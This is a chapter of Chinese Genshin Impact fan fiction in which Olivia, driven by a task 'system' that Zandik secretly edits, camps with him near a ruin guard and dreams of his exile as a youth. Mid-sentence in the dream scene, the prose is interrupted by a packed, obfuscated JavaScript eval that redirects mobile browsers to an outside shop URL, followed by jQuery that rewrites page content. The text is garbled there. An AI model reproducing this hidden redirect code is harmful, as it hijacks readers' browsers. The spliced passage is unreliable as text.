接下来几天,赞迪克早出晚归,整天泡在实验室和图书馆,见到他的时间他都捧着实验资料或是一本晦涩难懂的书。

    【系统提示:今日每日任务(3/3)已完成,奖励已下发,请宿主查收。】

    奥莉维亚坐在客厅,盯着面前的蓝屏陷入一种诡异的沉默,有种割裂感扑面而来。

    近些天见到赞迪克的次数屈指可数,本来以为任务无法完成,结果系统却很识相地派发了一些相当简单的任务,比方说对视、偶遇……

    总之不用煞费苦心就能完成任务,仿佛是赞迪克本人编写的程序。

    今天是去降诸魔山实地考察的日子,算算时间,也该出发了,赞迪克怎么还没回来?他说出去买些东西来着。

    奥莉维亚耳廓的虚空闪烁了一下,约莫是蕾妮传来的讯息,点开之后,她愣了下,是一个陌生的用户发来的消息,内容言简意赅:

    拿上东西出来,我在南门路口等你。

    啧。

    “买完东西就自己走了吗这家伙。”她盯着那条消息看了半天,才挤出这么一句。

    没有人规定不能暴打一顿攻略对象吧。

    由于周一之前需要返回须弥城,行程大概两天一夜,她懒得带帐篷和换洗衣物,寻思找棵树靠着将就一晚,就只背了个包出门了。

    结果当她看到大包小包的赞迪克时,她瞪着眼下巴都惊掉了,此男就如此龟毛。

    “傻站着干嘛?”赞迪克睨了她一眼,似乎是勉强施舍给了她一个眼神,“天黑前赶不到的话,我们大概会沦为魔物的夜宵也说不定。”

    奥莉维亚深吸一口气,扯起一个笑容:“学长,您现在完全不跟我客套了呢。”

    “客套是无用的消耗。”他转过身,被头发掩盖的试管耳坠从她眼前一晃而过,“还是你觉得客套是必要的,你大可以维持。”

    说罢,他走在前面,步伐不疾不徐。

    她冷冷地哼了一声,不太清楚他的态度怎么一百八十度大转弯,真是搞不懂他们这种疯狂科学家的大脑究竟是怎么构成的。

    只能在心里止不住地犯嘀咕:其实她根本就不会攻略别人,只是在按照系统的任务按部就班而已,明明每日任务都完成了,他怎么还没有喜欢上她呀——

    赞迪克脚步微顿,他最近在这套系统上花费的时间太多了。每天从实验室回来,他都会打开那个面板,检查她的任务进度,然后为明天写新的条目。系统隐藏代码始终无法破解,他的权限仅仅只够用来得知一些基础信息和修改每日任务,关于为什么要攻略他这件事,他目前一无所知。

    他内心在排斥这种脱离预判、不在逻辑之内的感觉。

    但他总觉得他的命运早已被奥莉维亚悉知,对于他的结局似乎也早就注定,而他竟然摸不透这个人。

    赞迪克回头看了她一眼,见她闷闷不乐地低着头,他唇角勾起一抹似有若无的弧度。

    比起他耗时耗力却做了无用功,不如利用一下身边现成的资源。

    他不喜欢这种靠等才能推进的进度。所以他需要让她先开口。

    ·

    傍晚时分。

    两人终于赶在天黑前抵达降诸魔山的山脚下,一条小溪边,水流清浅。

    奥莉维亚找了块石头坐下,呼吸沉重,明显体力不济,背靠着树歇息。

    “学长,我们今天就在这里休息吧,明早再上山考察怎么样?”她累得两眼一黑。

    赞迪克不紧不慢地搭起了帐篷,红瞳自她身上扫过,眸光敛动。

    “这边地带晚上有魔物走动,如果你不想被发现,最好不要睡在外面。”

    她倏地睁开眼睛,四下张望,“魔物?就是丘丘人还有一些鸟兽什么的吗?”

    “看来你清楚。”他不动声色地观察她的神情,刚想开口让她睡自己的帐篷,她突然摩拳擦掌站起来,从背包里掏出一堆法器。

    “……”

    赞迪克一时无言。

    “学长,你不用怕。”她耍宝似的鼓捣起那堆从各处搜罗来的东西,有补充体力的药剂、铁匠铺的大剑、捕风瓶…总之把有用的没用的都带齐了。

    “罗娜尔导师说知论派的每个学生毕业前都要学会至少二十种语言,我觉得其中应该包含丘丘语,所以我特地学了丘丘人的舞,这样我就可以混入他们的营地了!”

    空气中安静了两秒。

    赞迪克脑袋嗡嗡作响,直接进了帐篷,拉上了拉链,将她聒噪的声音隔绝在外。

    完全搞不懂她的脑子里都在想些什么。他又拉开一条缝,眼神意味不明地觑了她一眼。

    “据我所知,其中并不包含丘丘语。你把时间都花在研究丘丘人舞蹈上,你毕业后的就业方向是大巴扎?”他面无表情地说了一串十分伤人的话,“这可能解释了你延毕的原因。”

    “……”奥莉维亚的笑容逐渐消失,咬牙切齿道,“学长你真的是,就这样安慰后辈吗?”

    她将东西收了回去,抱着膝盖坐在帐篷外。

    靠着背包,眼皮开始打架,脑海中忽然浮现出他方才那句“最好不要睡在外面”,是不是想说些别的什么?还没来得及想明白,就陷进了睡梦中。

    据说须弥人不会做梦,是因为大慈树王逝去之后,教令院贤者改造了虚空终端,终端会截走梦境,抽取梦境的精神算力。但是奥莉维亚不是须弥人,她会做梦。

    梦里,她来到了黄沙漫天的沙漠,尘土是一股腥臭味。

    奥莉维亚站在村子外,看见村民们拿着棍棒和草叉在挥舞,她起初是听不见任何声音的,耳边充斥着沙尘被卷走的响动。

    那边仿佛有什么东西在吸引她,于是脚步不受控制地靠向声源处。

    她听见村民们口中的谩骂、无休止的指责、以及厌恶至极的眼神,最后她看见了那个少年,平静如水的神色,置身事外的样子好像被驱赶的人不是他。

    他身形单薄苍白,露出的一截脚踝骨凸起,骨骼轮廓清晰可见,他嘴唇没有血色,只有一双亮得惊人的鲜红色眼睛惹人注目。薄荷色的发丝染上尘埃,像一件被随意遗弃的东西。

    村民在驱逐他,将他的容身之所破坏,让他无处可去,而他的灵魂依旧热烈。

    奥莉维亚曾经在pv中见过这一幕,关于十八岁的赞迪克官方记录仅有几秒和一段文字,她从来不觉得他可怜,甚至认为他都是活该。

    当少年赞迪克面无表情地从她身边擦肩而过,她嗅到的依旧是淡淡的药水味混着花香,他眉目疏离的模样竟然让她有些动容。

    因为……他这个时候还只是个孩子。

    风沙卷过少年单薄的背影,她眼睁睁看着那一幕,心口沉沉地

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874669|212345||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    往下坠,当下的苦痛不能洗白他日后的所作所为,可眼前这个满身尘土的孩子,终究让人没办法冷眼旁观。

    她下意识往前半步,手抬到半空,又猛地收回去。

    奥莉维亚你醒醒吧。

    两人隔着很长的距离,长到她不知道该怎么去处理这段距离。

    少年赞迪克的背影走远了,消失在风沙里。她站在原地,耳边只剩风声。

    梦在这里碎掉了。

    ·

    这一觉睡得格外沉,她醒来时,发现赞迪克已经不在帐篷里了。

    沿着脚印她来到那具巨大的遗迹守卫脚下,周边有几处战斗过的痕迹,以及鳄鱼的尸体横在水里。

    奥莉维亚仰头就看见赞迪克站在遗迹守卫的眼睛上,他眼里的期待让她想起梦里看见的那个少年,一时间她胸口有些发闷。

    “赞迪克——”

    她通过捕风瓶飞上去,轻轻落在他身边,他的注意力都在这个遗迹守卫身上。

    “赞迪克,你为什么独自行动啊?你这样很危险。”

    透过眼前的人,她恍惚间好像看见了那个踽踽独行的少年,他的手指无意识地攥紧手中的记录本,指节很用力,克制住上前的冲动。

    他为什么对实验这么兴奋?

    赞迪克蹲在遗迹守卫机身上的符文边缘,指尖悬在磨损的刻痕上方,并未触碰,外人不细看几乎察觉不到,他眼里将要喷涌而出的是求知欲。

    等会。她脑子一转,赞迪克接触遗迹守卫不是发生在须弥考察团时期吗……

    由于她擅作主张参与的跨院课题,让他的命运提前了数年,那他岂不是很快就会面临被教令院驱逐流放的下场。

    奥莉维亚仰头看着他,清晨的微光从他背后升起,他整个人被圈在一层金黄的光里。

    心中陡然涌上来一股很复杂的情绪,说不清那是什么,不是厌恶,不是警惕,她还能对赞迪克产生什么心情呢?

    “赞迪克,我们的课题不需要这么深入了解遗迹守卫本身,只需要知道古代遗迹符文对遗迹守卫行动模式的影响就可以了,剩下的部分让我自己来完成。”

    他低头看了她一眼,并没有立刻下来,收起记录本后,他才缓缓起身。

    “它的符文回路正处于待机激活状态。”赞迪克落地后,突兀地说出了自己的发现。

    她眼神复杂落在他身上,“我们是来完成课题勘测,不是冒险,就到此为止。”

    说完拽着他的胳膊就走,赞迪克没有挣开,而是看向她冒出细汗的后颈,棕发在晨光下呈现出耀眼的金,而她的背影带着某种迫切。

    “你在怕什么。”他的声音从身后传过来。

    她脚步未停,走到溪边才松手,眼神躲闪:“没有,只是担心学长单独行动出什么事,而且你把我扔在这边我也很…害怕。”

    “是吗?我看你睡得很熟就没叫醒你,你好像在做梦。”赞迪克不知怎么很好奇她的梦境,是否会无意识吐露些重要信息。

    早就知道她是外来物种,会做梦并不稀奇。

    奥莉维亚一时间忽略了这些信息,转身就往溪边走,“下次就叫醒我吧。”

    她意识混沌不清,洗了把脸才走回去。

    身后冷不丁响起少年冷冰冰的声音:“奥莉维亚,你在害怕我变成另一个人吗?”